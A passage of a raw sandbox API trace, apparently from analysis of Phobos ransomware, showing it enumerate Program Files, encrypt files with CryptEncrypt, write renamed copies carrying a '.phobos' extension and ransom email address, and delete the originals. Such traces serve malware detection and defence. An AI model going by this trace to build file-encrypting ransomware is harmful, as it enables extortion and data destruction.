"c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0168.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0168.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.720] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0168.721] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.721] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1053784) returned 1 [0168.721] CloseHandle (hObject=0x2e4) returned 1 [0168.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0168.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.722] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.722] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=982720) returned 1 [0168.722] CloseHandle (hObject=0x2e4) returned 1 [0168.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0168.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.723] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0168.723] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0168.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0168.723] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d19d0) returned 1 [0168.723] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0168.723] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0xefec0, lpOverlapped=0x0) returned 1 [0169.228] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xefed0, dwBufLen=0xefed0 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xefed0) returned 1 [0169.229] WriteFile (in: hFile=0x2d8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xefed0, lpOverlapped=0x0) returned 1 [0169.276] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d17d0) returned 1 [0169.276] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0169.276] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0169.276] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0169.276] WriteFile (in: hFile=0x2d8, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0169.276] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0169.276] CloseHandle (hObject=0x2e4) returned 1 [0169.276] CloseHandle (hObject=0x2d8) returned 1 [0169.276] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0169.284] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.284] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=88752) returned 1 [0169.284] CloseHandle (hObject=0x2d8) returned 1 [0169.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0169.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.285] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.285] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.285] CloseHandle (hObject=0x2d8) returned 1 [0169.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0169.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.286] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.286] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.286] CloseHandle (hObject=0x2d8) returned 1 [0169.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0169.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.286] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.287] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9728) returned 1 [0169.287] CloseHandle (hObject=0x2d8) returned 1 [0169.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0169.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.287] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.288] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.288] CloseHandle (hObject=0x2d8) returned 1 [0169.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0169.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.288] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.288] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.288] CloseHandle (hObject=0x2d8) returned 1 [0169.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0169.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.289] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.289] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.289] CloseHandle (hObject=0x2d8) returned 1 [0169.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0169.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.290] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.290] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9728) returned 1 [0169.290] CloseHandle (hObject=0x2d8) returned 1 [0169.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0169.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.291] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.292] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=8704) returned 1 [0169.292] CloseHandle (hObject=0x2d8) returned 1 [0169.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0169.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.292] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.293] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=5120) returned 1 [0169.293] CloseHandle (hObject=0x2d8) returned 1 [0169.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0169.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.293] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.294] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=3072) returned 1 [0169.294] CloseHandle (hObject=0x2d8) returned 1 [0169.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0169.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.294] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.294] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: 